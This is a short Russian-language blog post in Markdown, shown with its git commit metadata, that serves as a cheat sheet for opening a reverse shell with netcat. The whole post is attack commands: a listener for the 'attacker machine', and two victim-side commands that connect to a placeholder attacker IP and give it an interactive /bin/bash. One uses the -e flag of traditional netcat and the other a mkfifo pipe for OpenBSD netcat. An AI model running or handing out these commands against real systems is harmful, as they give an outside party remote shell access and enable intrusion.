fruworg.github.io/content/posts/reverse-shell-nc.md
root c793b55750 Revert "remove shell"
This reverts commit 65914f8895.
2023-09-24 18:58:33 +03:00

472 B

title description date tags
Reverse Shell Используя Traditional и OpenBSD Netcat 2022-12-09T15:02:00+05:00
linux
ssh
hack

Машина атакующего

nc -lvp <port>

Машина жертвы (Traditional Netcat)

nc <attacker-ip> <port> -e /bin/bash

Машина жертвы (OpenBSD Netcat)

mkfifo /tmp/rev; nc <attacker-ip> <port> < /tmp/rev \
	| /bin/bash 2>&1 | tee /tmp/rev > /dev/null